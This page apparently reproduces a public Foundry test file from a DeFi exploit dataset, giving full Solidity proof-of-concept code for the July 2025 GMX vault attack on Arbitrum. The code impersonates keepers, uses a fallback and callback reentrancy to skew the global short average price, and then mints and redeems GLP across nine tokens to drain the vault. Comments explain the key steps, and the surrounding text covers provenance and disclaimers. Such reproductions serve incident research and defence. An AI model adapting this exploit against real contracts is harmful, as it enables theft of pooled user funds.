Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/gmx_exp.sol

Public reproduction file for dataset entry GMX.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/gmx_exp.sol426 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.22;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7interface IRewardRouterV2 {
8 function mintAndStakeGlp(address _token, uint256 _amount, uint256 _minUsdg, uint256 _minGlp) external returns (uint256);
9 function unstakeAndRedeemGlp(address _tokenOut, uint256 _glpAmount, uint256 _minOut, address _receiver) external returns (uint256);
12interface IGMXPositionRouter {
13 function createDecreasePosition(
14 address[] memory _path,
15 address _indexToken,
16 uint256 _collateralDelta,
17 uint256 _sizeDelta,
18 bool _isLong,
19 address _receiver,
20 uint256 _acceptablePrice,
21 uint256 _minOut,
22 uint256 _executionFee,
23 bool _withdrawETH,
24 address _callbackTarget
25 ) external payable returns (bytes32);
26 function minExecutionFee() external view returns (uint256);
27 function executeDecreasePositions(uint256 _endIndex, address payable _executionFeeReceiver) external;
28 function getRequestQueueLengths() external view returns (uint256, uint256, uint256, uint256);
30interface IGMXOrderBook {
31 function createIncreaseOrder(
32 address[] memory _path,
33 uint256 _amountIn,
34 address _indexToken,
35 uint256 _minOut,
36 uint256 _sizeDelta,
37 address _collateralToken,
38 bool _isLong,
39 uint256 _triggerPrice,
40 bool _triggerAboveThreshold,
41 uint256 _executionFee,
42 bool _shouldWrap
43 ) external payable;
45 function minExecutionFee() external view returns (uint256);
46 function minPurchaseTokenAmountUsd() external view returns (uint256);
47 function swapOrdersIndex(address _account) external view returns (uint256);
48 function increaseOrdersIndex(address _account) external view returns (uint256);
49 function decreaseOrdersIndex(address _account) external view returns (uint256);
50 function createDecreaseOrder(
51 address _indexToken,
52 uint256 _sizeDelta,
53 address _collateralToken,
54 uint256 _collateralDelta,
55 bool _isLong,
56 uint256 _triggerPrice,
57 bool _triggerAboveThreshold
58 ) external payable;
60interface IGMXRouter {
61 function approvePlugin(address _plugin) external;
64interface IGMXPositionManager {
65 function executeIncreaseOrder(address _account, uint256 _orderIndex, address payable _feeReceiver) external;
66 function executeDecreaseOrder(address _account, uint256 _orderIndex, address payable _feeReceiver) external;
70interface IGMXVault {
71 function tokenToUsdMin(address _token, uint256 _amount) external view returns (uint256);
72 function getPosition(address _account, address _collateralToken, address _indexToken, bool _isLong) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, bool, uint256);
73 function globalShortAveragePrices(address _indexToken) external view returns (uint256);
74 function increasePosition(
75 address _account,
76 address _collateralToken,
77 address _indexToken,
78 uint256 _sizeDelta,
79 bool _isLong
80 ) external;
81 function decreasePosition(
82 address _account,
83 address _collateralToken,
84 address _indexToken,
85 uint256 _collateralDelta,
86 uint256 _sizeDelta,
87 bool _isLong,
88 address _receiver
89 ) external returns (uint256);
90 function poolAmounts(address _token) external view returns (uint256);
91 function reservedAmounts(address _token) external view returns (uint256);
92 function getMaxPrice(address _token) external view returns (uint256);
93 function getMinPrice(address _token) external view returns (uint256);
96interface IGMXShortsTracker {
97 function updateGlobalShortData(address _account, address _collateralToken, address _indexToken, bool _isLong, uint256 _sizeDelta, uint256 _markPrice, bool _isIncrease) external;
100interface IGMXGlpManager {
101 function getGlobalShortDelta(address _token) external view returns (bool, uint256);
102 function getGlobalShortAveragePrice(address _token) external view returns (uint256);
103 function getAumInUsdg(bool _maximise) external view returns (uint256);
106interface IGMXFastPriceFeed{
107 function setPricesWithBitsAndExecute(
108 uint256 _priceBits,
109 uint256 _timestamp,
110 uint256 _endIndexForIncreasePositions,
111 uint256 _endIndexForDecreasePositions,
112 uint256 _maxIncreasePositions,
113 uint256 _maxDecreasePositions
114 ) external;
117interface IRewardTracker {
118 function stakedAmounts(address _account) external view returns (uint256);
121contract ContractTest is Test {
123 IGMXOrderBook orderBook_ = IGMXOrderBook(0x09f77E8A13De9a35a7231028187e9fD5DB8a2ACB);
124 IGMXVault vault_ = IGMXVault(0x489ee077994B6658eAfA855C308275EAd8097C4A);
125 IGMXRouter router_ = IGMXRouter(0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064);
126 IGMXPositionManager positionManager_ = IGMXPositionManager(0x75E42e6f01baf1D6022bEa862A28774a9f8a4A0C);
127 IGMXShortsTracker short_tracker_ = IGMXShortsTracker(0xf58eEc83Ba28ddd79390B9e90C4d3EbfF1d434da);
128 IGMXGlpManager glp_manager_ = IGMXGlpManager(0x3963FfC9dff443c2A94f21b129D429891E32ec18);
129 IGMXPositionRouter positionRouter_ = IGMXPositionRouter(0xb87a436B93fFE9D75c5cFA7bAcFff96430b09868);
130 IGMXFastPriceFeed fastPriceFeed_ = IGMXFastPriceFeed(0x11D62807dAE812a0F1571243460Bf94325F43BB7);
131 IRewardRouterV2 rewardRouterV2_ = IRewardRouterV2(0xB95DB5B167D75e6d04227CfFFA61069348d271F5);
132 IRewardTracker rewardTracker_ = IRewardTracker(0x1aDDD80E6039594eE970E5872D247bf0414C8903);
134 IERC20 gmx_lp_token_ = IERC20(0x4277f8F2c384827B5273592FF7CeBd9f2C1ac258);
135 IERC20 weth_ = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
136 IERC20 btc_ = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
137 IERC20 usdc_ = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
138 IERC20 usde_ = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
139 IERC20 link_ = IERC20(0xf97f4df75117a78c1A5a0DBb814Af92458539FB4);
140 IERC20 uni_ = IERC20(0xFa7F8980b0f1E64A2062791cc3b0871572f1F7f0);
141 IERC20 usdt_ = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
142 IERC20 frax_ = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);
143 IERC20 dai_ = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);
145 address routerPositionKeeper_ = 0x2BcD0d9Dde4bD69C516Af4eBd3fB7173e1FA12d0;
146 address orderBookKeeper_ = 0xd4266F8F82F7405429EE18559e548979D49160F3;
148 bool isProfit = false;
150 // 区块355878385时,eth价格是2652.39
151 function setUp() public {
152 vm.createSelectFork("arbitrum", 355878385 - 1);
153 deal(address(usdc_), address(this), 3001000000);
154 vm.deal(address(this), 2 ether);
155 router_.approvePlugin(address(orderBook_));
156 router_.approvePlugin(address(positionRouter_));
157 usdc_.approve(address(rewardRouterV2_), type(uint256).max);
158 usdc_.approve(address(glp_manager_), type(uint256).max);
159 frax_.approve(address(rewardRouterV2_), type(uint256).max);
160 frax_.approve(address(glp_manager_), type(uint256).max);
163 }
165 function testExploit() public {
166 console2.log("-------- attack before --------");
167 console2.log("eth balance of vault = ", weth_.balanceOf(address(vault_)) / 10 ** weth_.decimals());
168 console2.log("btc balance of vault = ", btc_.balanceOf(address(vault_)) / 10 ** btc_.decimals());
169 console2.log("usdc balance of vault = ", usdc_.balanceOf(address(vault_)) / 10 ** usdc_.decimals());
170 console2.log("usde balance of vault = ", usde_.balanceOf(address(vault_)) / 10 ** usde_.decimals());
171 console2.log("link balance of vault = ", link_.balanceOf(address(vault_)) / 10 ** link_.decimals());
172 console2.log("uni balance of vault = ", uni_.balanceOf(address(vault_)) / 10 ** uni_.decimals());
173 console2.log("usdt balance of vault = ", usdt_.balanceOf(address(vault_)) / 10 ** usdt_.decimals());
174 console2.log("frax balance of vault = ", frax_.balanceOf(address(vault_)) / 10 ** frax_.decimals());
175 console2.log("dai balance of vault = ", dai_.balanceOf(address(vault_)) / 10 ** dai_.decimals());
177 for (uint256 i = 0; i < 2; i++) {
178 createOpenETHPosition();
179 keeperExecuteOpenETHPosition();
180 }
182 console2.log("glp_manager_.getGlobalShortAveragePrice(address(btc_)) = ", glp_manager_.getGlobalShortAveragePrice(address(btc_)));
184 createCloseETHPosition();
185 for(uint i = 0; i< 5; i++) {
186 keeperExecuteCloseETHPosition();
187 keeperExecuteCloseBTCPosition();
188 }
189 console2.log("glp_manager_.getGlobalShortAveragePrice(address(btc_)) = ", glp_manager_.getGlobalShortAveragePrice(address(btc_)));
190 isProfit = true;
191 keeperExecuteCloseETHPosition();
192 console2.log("-------- attack after --------");
193 console2.log("eth balance of vault = ", weth_.balanceOf(address(vault_)) / 10 ** weth_.decimals());
194 console2.log("btc balance of vault = ", btc_.balanceOf(address(vault_)) / 10 ** btc_.decimals());
195 console2.log("usdc balance of vault = ", usdc_.balanceOf(address(vault_)) / 10 ** usdc_.decimals());
196 console2.log("usde balance of vault = ", usde_.balanceOf(address(vault_)) / 10 ** usde_.decimals());
197 console2.log("link balance of vault = ", link_.balanceOf(address(vault_)) / 10 ** link_.decimals());
198 console2.log("uni balance of vault = ", uni_.balanceOf(address(vault_)) / 10 ** uni_.decimals());
199 console2.log("usdt balance of vault = ", usdt_.balanceOf(address(vault_)) / 10 ** usdt_.decimals());
200 console2.log("frax balance of vault = ", frax_.balanceOf(address(vault_)) / 10 ** frax_.decimals());
201 console2.log("dai balance of vault = ", dai_.balanceOf(address(vault_)) / 10 ** dai_.decimals());
202 }
204 // https://arbiscan.io/tx/0x0b8cd648fb585bc3d421fc02150013eab79e211ef8d1c68100f2820ce90a4712
205 function createOpenETHPosition() public {
206 // Leveraged long position opened
207 // Used 0.1 ETH to open a 2.003x leveraged position
208 // 2.003 = 531 / (0.1 * 2652.39)
209 address[] memory path = new address[](1);
210 path[0] = address(weth_);
211 orderBook_.createIncreaseOrder{value: 0.1003 ether}(
212 path,
213 100000000000000000, // amountIn
214 address(weth_), // indexToken
215 0, // minOut
216 531064000000000000000000000000000, // sizeDelta,2.003倍的杠杆
217 address(weth_), // collateralToken
218 true, // isLong
219 1500000000000000000000000000000000, // triggerPrice
220 true, // triggerAboveThreshold
221 orderBook_.minExecutionFee() * 3, // executionFee
222 true // shouldWrap
223 );
224 }
226 // https://arbiscan.io/tx/0x28a000501ef8e3364b0e7f573256b04b87d9a8e8173410c869004b987bf0beef
227 function keeperExecuteOpenETHPosition() public {
228 vm.startPrank(orderBookKeeper_);
229 positionManager_.executeIncreaseOrder(address(this), orderBook_.increaseOrdersIndex(address(this)) - 1, payable(orderBookKeeper_));
230 vm.stopPrank();
231 }
233 // https://app.blocksec.com/explorer/tx/arbitrum/0x20abfeff0206030986b05422080dc9e81dbb53a662fbc82461a47418decc49af
234 function createCloseETHPosition() public {
235 (uint256 size, uint256 collateral, uint256 entryPrice, uint256 reserveAmount, uint256 realisedPnl, uint256 entryFundingRate, bool isLong, uint256 lastIncreasedTime) = vault_.getPosition(address(this), address(weth_), address(weth_), true);
236 orderBook_.createDecreaseOrder{value: orderBook_.minExecutionFee() * 3}(
237 address(weth_),
238 size / 2,
239 address(weth_),
240 collateral/2,
241 true,
242 1500000000000000000000000000000000,
243 true);
244 }
246 // https://app.blocksec.com/explorer/tx/arbitrum/0x1f00da742318ad1807b6ea8283bfe22b4a8ab0bc98fe428fbfe443746a4a7353?line=162
247 function keeperExecuteCloseETHPosition() public {
248 vm.startPrank(orderBookKeeper_);
249 positionManager_.executeDecreaseOrder(address(this), orderBook_.decreaseOrdersIndex(address(this)) - 1, payable(orderBookKeeper_));
250 }
253 // https://app.blocksec.com/explorer/tx/arbitrum/0x222cdae82a8d28e53a2bddfb34ae5d1d823c94c53f8a7abc179d47a2c994464e?line=134
254 function keeperExecuteCloseBTCPosition() public {
255 (uint256 increasePositionRequestKeysStart, uint256 increasePositionRequestKeysLength, uint256 decreasePositionRequestKeysStart, uint256 decreasePositionRequestKeysLength) = positionRouter_.getRequestQueueLengths();
256 vm.startPrank(routerPositionKeeper_);
257 fastPriceFeed_.setPricesWithBitsAndExecute(
258 650780127152856667663437440412910,
259 block.timestamp,
260 increasePositionRequestKeysStart + increasePositionRequestKeysLength,
261 decreasePositionRequestKeysStart + decreasePositionRequestKeysLength,
262 increasePositionRequestKeysLength,
263 decreasePositionRequestKeysLength
264 );
266 vm.stopPrank();
267 }
269 // Key point: globalShortAveragePrice has already been changed
270 // This is GMX’s callback function, gmxPositionCallback, which is called when a market order is closed.
271 function gmxPositionCallback(bytes32 positionKey, bool isExecuted, bool isIncrease) external {
272 createCloseETHPosition();
273 }
275 // It is called when closing an ETH position.
276 // This is also a critical reentrancy point.
277 fallback() external payable {
278 if(isProfit) {
279 profitAttack();
280 }else{
281 console2.log("glp_manager_.getGlobalShortAveragePrice(address(btc_)) = ", glp_manager_.getGlobalShortAveragePrice(address(btc_)));
282 usdc_.transfer(address(vault_), usdc_.balanceOf(address(this)));
283 vault_.increasePosition(address(this), address(usdc_), address(btc_), 90030000000000000000000000000000000, false);
284 address[] memory path = new address[](1);
285 path[0] = address(usdc_);
286 positionRouter_.createDecreasePosition{value: 3000000000000000}(
287 path,
288 address(btc_),
289 0,
290 90030000000000000000000000000000000,
291 false,
292 address(this),
293 120000000000000000000000000000000000,
294 0,
295 3000000000000000,
296 false,
297 address(this)
298 );
299 }
300 }
302 // https://app.blocksec.com/explorer/tx/arbitrum/0x03182d3f0956a91c4e4c8f225bbc7975f9434fab042228c7acdc5ec9a32626ef
303 function profitAttack() public{
304 console2.log("******* start profitAttack *******");
305 // flashloan usdc 7538567_619570
306 deal(address(usdc_), address(this), 7_538_567_619570);
307 uint256 glpAmount = rewardRouterV2_.mintAndStakeGlp(address(usdc_), 6000000000000, 0, 0);
308 usdc_.transfer(address(vault_), usdc_.balanceOf(address(this)));
310 vault_.increasePosition(address(this), address(usdc_), address(btc_), 15385676195700000000000000000000000000, false);
311 getProfitForETH();
312 getProfitForBTC();
313 getProfitForUSDC();
314 getProfitForUSDE();
315 getProfitForLINK();
316 getProfitForUNI();
317 getProfitForUSDT();
318 getProfitForFRAX();
319 getProfitForDAI();
320 vault_.decreasePosition(address(this), address(usdc_), address(btc_), 0, 15385676195700000000000000000000000000, false, address(this));
322 for(uint i = 0; i < 10; i++) {
324 rewardRouterV2_.mintAndStakeGlp(address(frax_), 9000000000000000000000000, 0, 0);
325 usdc_.transfer(address(vault_), 500000000000);
326 vault_.increasePosition(address(this), address(usdc_), address(btc_), 12500000000000000000000000000000000000, false);
327 getProfitForFRAX();
328 vault_.decreasePosition(address(this), address(usdc_), address(btc_), 0, 12500000000000000000000000000000000000, false, address(this));
329 console2.log("glpAmount = ", IERC20(address(rewardTracker_)).balanceOf(address(this)));
330 }
331 getProfitForUSDC();
332 usdc_.transfer(address(0x1), 7_538_567_619570); // repay flashloan
333 console2.log("profit weth_ of Attacker ", weth_.balanceOf(address(this)) / 10 ** weth_.decimals());
334 console2.log("profit btc_ of Attacker ", btc_.balanceOf(address(this)) / 10 ** btc_.decimals());
335 console2.log("profit usdc_ of Attacker ", usdc_.balanceOf(address(this)) / 10 ** usdc_.decimals());
336 console2.log("profit usde_ of Attacker ", usde_.balanceOf(address(this)) / 10 ** usde_.decimals());
337 console2.log("profit link_ of Attacker ", link_.balanceOf(address(this)) / 10 ** link_.decimals());
338 console2.log("profit uni_ of Attacker ", uni_.balanceOf(address(this)) / 10 ** uni_.decimals());
339 console2.log("profit usdt_ of Attacker ", usdt_.balanceOf(address(this)) / 10 ** usdt_.decimals());
340 console2.log("profit frax_ of Attacker ", frax_.balanceOf(address(this)) / 10 ** frax_.decimals());
341 console2.log("profit dai_ of Attacker ", dai_.balanceOf(address(this)) / 10 ** dai_.decimals());
342 console2.log("******* end profitAttack *******");
343 }
345 function getProfitForETH() public {
346 uint256 profit_delta = vault_.poolAmounts(address(weth_)) - vault_.reservedAmounts(address(weth_));
347 uint256 price = vault_.getMaxPrice(address(weth_)); // 1e30
348 uint256 usdgAmount = profit_delta * price / (10 ** weth_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18
349 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18
350 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18
351 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18
352 rewardRouterV2_.unstakeAndRedeemGlp(address(weth_), glpAmount, 0, address(this));
353 }
354 function getProfitForBTC() public {
355 uint256 profit_delta = vault_.poolAmounts(address(btc_)) - vault_.reservedAmounts(address(btc_));
356 uint256 price = vault_.getMaxPrice(address(btc_)); // 1e30
357 uint256 usdgAmount = profit_delta * price / (10 ** btc_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18
358 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18
359 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18
360 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18
361 rewardRouterV2_.unstakeAndRedeemGlp(address(btc_), glpAmount, 0, address(this));
362 }
363 function getProfitForUSDC() public {
364 uint256 profit_delta = vault_.poolAmounts(address(usdc_)) - vault_.reservedAmounts(address(usdc_));
365 uint256 price = vault_.getMaxPrice(address(usdc_)); // 1e30
366 uint256 usdgAmount = profit_delta * price / (10 ** usdc_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18
367 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18
368 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18
369 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18
370 rewardRouterV2_.unstakeAndRedeemGlp(address(usdc_), glpAmount, 0, address(this));
371 }
372 function getProfitForUSDE() public {
373 uint256 profit_delta = vault_.poolAmounts(address(usde_)) - vault_.reservedAmounts(address(usde_));
374 uint256 price = vault_.getMaxPrice(address(usde_)); // 1e30
375 uint256 usdgAmount = profit_delta * price / (10 ** usde_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18
376 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18
377 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18
378 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18
379 rewardRouterV2_.unstakeAndRedeemGlp(address(usde_), glpAmount, 0, address(this));
380 }
381 function getProfitForLINK() public {
382 uint256 profit_delta = vault_.poolAmounts(address(link_)) - vault_.reservedAmounts(address(link_));
383 uint256 price = vault_.getMaxPrice(address(link_)); // 1e30
384 uint256 usdgAmount = profit_delta * price / (10 ** link_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18
385 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18
386 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18
387 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18
388 rewardRouterV2_.unstakeAndRedeemGlp(address(link_), glpAmount, 0, address(this));
389 }
390 function getProfitForUNI() public {
391 uint256 profit_delta = vault_.poolAmounts(address(uni_)) - vault_.reservedAmounts(address(uni_));
392 uint256 price = vault_.getMaxPrice(address(uni_)); // 1e30
393 uint256 usdgAmount = profit_delta * price / (10 ** uni_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18
394 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18
395 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18
396 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18
397 rewardRouterV2_.unstakeAndRedeemGlp(address(uni_), glpAmount, 0, address(this));
398 }
399 function getProfitForUSDT() public {
400 uint256 profit_delta = vault_.poolAmounts(address(usdt_)) - vault_.reservedAmounts(address(usdt_));
401 uint256 price = vault_.getMaxPrice(address(usdt_)); // 1e30
402 uint256 usdgAmount = profit_delta * price / (10 ** usdt_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18
403 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18
404 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18
405 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18
406 rewardRouterV2_.unstakeAndRedeemGlp(address(usdt_), glpAmount, 0, address(this));
407 }
408 function getProfitForFRAX() public {
409 uint256 profit_delta = vault_.poolAmounts(address(frax_)) - vault_.reservedAmounts(address(frax_));
410 uint256 price = vault_.getMaxPrice(address(frax_)); // 1e30
411 uint256 usdgAmount = profit_delta * price / (10 ** frax_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18
412 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18
413 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18
414 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18
415 rewardRouterV2_.unstakeAndRedeemGlp(address(frax_), glpAmount, 0, address(this));
416 }
417 function getProfitForDAI() public {
418 uint256 profit_delta = vault_.poolAmounts(address(dai_)) - vault_.reservedAmounts(address(dai_));
419 uint256 price = vault_.getMaxPrice(address(dai_)); // 1e30
420 uint256 usdgAmount = profit_delta * price / (10 ** dai_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18
421 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18
422 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18
423 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18
424 rewardRouterV2_.unstakeAndRedeemGlp(address(dai_), glpAmount, 0, address(this));
425 }

Analysis

Dataset entry

Public Foundry test for “GMX” (2025-07-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
GMX
Path
src/test/2025-07/gmx_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
891f0b9ed89b79942e12a78ad32da4d345405ad2
Language
Solidity
Size
427 lines
Date
2025-07-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/gmx_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 891f0b9ed89b79942e12a78ad32da4d345405ad2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.